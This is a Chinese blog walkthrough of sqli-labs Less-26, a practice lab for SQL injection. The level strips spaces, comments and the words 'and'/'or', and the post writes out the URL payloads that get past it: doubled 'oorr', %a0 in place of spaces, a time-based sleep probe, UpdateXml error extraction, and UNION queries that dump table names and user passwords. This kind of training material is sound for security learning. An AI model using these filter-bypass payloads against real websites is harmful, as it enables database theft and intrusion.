【sqli-labs】 less26 GET- Error based -All you SPACES and COMMENTS belong to us(GET型基于错误的去除了空格和注释的注入)

看了下源码

所有的注释形式和反斜线,and,or都被了过滤掉了

单引号没有过滤

空格也被过滤了

http://localhost/sqli-labs-master/Less-26/?id=1'

http://localhost/sqli-labs-master/Less-26/?id=1' '

看了网上的一些方法都是使用了%a0替换掉了空格

http://localhost/sqli-labs-master/Less-26/?id=1'%a0oorr%a0'1'='1

但是出了一点问题,似乎无法识别%a0这个字符,有人说是window环境下apache的问题

可以先放着,因为这个语句是可以正常被执行的

http://localhost/sqli-labs-master/Less-26/?id=1'oorr'1'='1
SELECT * FROM users WHERE id='1'or'1'='1' LIMIT 0,1

利用这一点,可以构造这样的注入

id参数的值不包含注释不包含空格,却可以在正常执行,当user()的第一个字符为'r'的时候,延时1s

http://localhost/sqli-labs-master/Less-26/?id=1'%26%26sleep(ascii(mid(user(),1,1))=114)%26%26'1'='1
select * from users where id='1'&&sleep(ascii(mid(user(),1,1))=114)&&'1'='1' limit 0,1

当然出错信息没有被屏蔽也可以用UpdateXml函数直接报错来显示

http://localhost/sqli-labs-master/Less-26/?id=1'%26%26UpdateXml(1,concat(0x7e,user(),0x7e),1)%26%26'1'='1

 换到LAMP环境下再试一下

使用%a0代替空格

http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,2,'3

payload

http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,2,table_name%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security

取数据

http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,username,passwoorrd%a0from%a0users%a0limit%a01,1%a0union%a0select%a01,2,'3

原文地址:https://www.cnblogs.com/omnis/p/8367365.html